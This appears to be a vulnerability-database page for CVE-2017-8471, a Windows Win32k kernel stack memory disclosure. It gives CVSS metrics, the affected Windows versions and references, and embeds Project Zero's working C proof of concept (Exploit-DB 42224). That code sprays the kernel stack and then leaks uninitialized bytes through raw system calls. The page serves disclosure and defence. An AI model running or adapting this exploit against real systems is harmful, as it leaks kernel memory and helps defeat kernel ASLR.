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CVE-2017-8471 : Detail

CVE-2017-8471

5
/
MEDIUM
A01-Broken Access Control
0.11%V3
Local
2017-06-14 23:00 +00:00
2017-08-11 13:57 +00:00
CVE.org
NVD

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Descriptions

Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8470, CVE-2017-8472, CVE-2017-8473, CVE-2017-8475, CVE-2017-8477, and CVE-2017-8484.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42224

Publication date : 2017-06-21 22:00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1179 We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7-10 through the win32k!NtGdiGetOutlineTextMetricsInternalW system call. The system call returns an 8-byte structure back to ring-3 through the 4th parameter, as evidenced by the following assembly code (win32k.sys from Windows 7 32-bit): --- cut --- .text:BF87364A mov edx, [ebp+arg_C] .text:BF87364D lea ecx, [edx+8] .text:BF873650 mov eax, _W32UserProbeAddress .text:BF873655 cmp ecx, eax .text:BF873657 ja short loc_BF873662 .text:BF873659 cmp ecx, edx .text:BF87365B jbe short loc_BF873662 .text:BF87365D test dl, 3 .text:BF873660 jz short loc_BF873665 .text:BF873662 .text:BF873662 loc_BF873662: .text:BF873662 mov byte ptr [eax], 0 .text:BF873665 .text:BF873665 loc_BF873665: .text:BF873665 lea esi, [ebp+var_24] .text:BF873668 mov edi, edx .text:BF87366A movsd .text:BF87366B movsd --- cut --- However, according to our experiments, only the first 4 bytes of the source structure (placed on the kernel stack) are initialized under normal circumstances, while the other 4 bytes are set to leftover data. In order to demonstrate the issue, we have created a proof-of-concept program which sprays 1024 bytes of the kernel stack with a 0x41 ('A') byte directly prior to triggering the vulnerability, with the help of the win32k!NtGdiEngCreatePalette system call. Then, the DWORD leaked via the discussed vulnerability is indeed equal to 0x41414141, as evidenced by the PoC output: --- cut --- C:\>NtGdiGetOutlineTextMetricsInternalW_stack.exe Data read: 41414141 --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include #include // For native 32-bit execution. extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } // Own implementation of memset(), which guarantees no data is spilled on the local stack. VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Windows 7 32-bit. CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c; // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[1024]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Windows 7 32-bit. CONST ULONG __NR_NtGdiGetOutlineTextMetricsInternalW = 0x10c6; // Create a Device Context. HDC hdc = CreateCompatibleDC(NULL); // Create a TrueType font. HFONT hfont = CreateFont(10, // nHeight 10, // nWidth 0, // nEscapement 0, // nOrientation FW_DONTCARE, // fnWeight FALSE, // fdwItalic FALSE, // fdwUnderline FALSE, // fdwStrikeOut ANSI_CHARSET, // fdwCharSet OUT_DEFAULT_PRECIS, // fdwOutputPrecision CLIP_DEFAULT_PRECIS, // fdwClipPrecision DEFAULT_QUALITY, // fdwQuality FF_DONTCARE, // fdwPitchAndFamily L"Times New Roman"); // Select the font into the DC. SelectObject(hdc, hfont); // Spray the kernel stack to get visible results. SprayKernelStack(); // Read the 4 uninitialized kernel stack bytes and print them on screen. DWORD output[2] = { /* zero padding */ }; if (!SystemCall32(__NR_NtGdiGetOutlineTextMetricsInternalW, hdc, 0, NULL, output)) { printf("NtGdiGetOutlineTextMetricsInternalW failed\n"); DeleteObject(hfont); DeleteDC(hdc); return 1; } printf("Data read: %x\n", output[1]); // Free resources. DeleteObject(hfont); DeleteDC(hdc); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securitytracker.com/id/1038659
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/98849
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42224/
Tags : exploit, x_refsource_EXPLOIT-DB

More information
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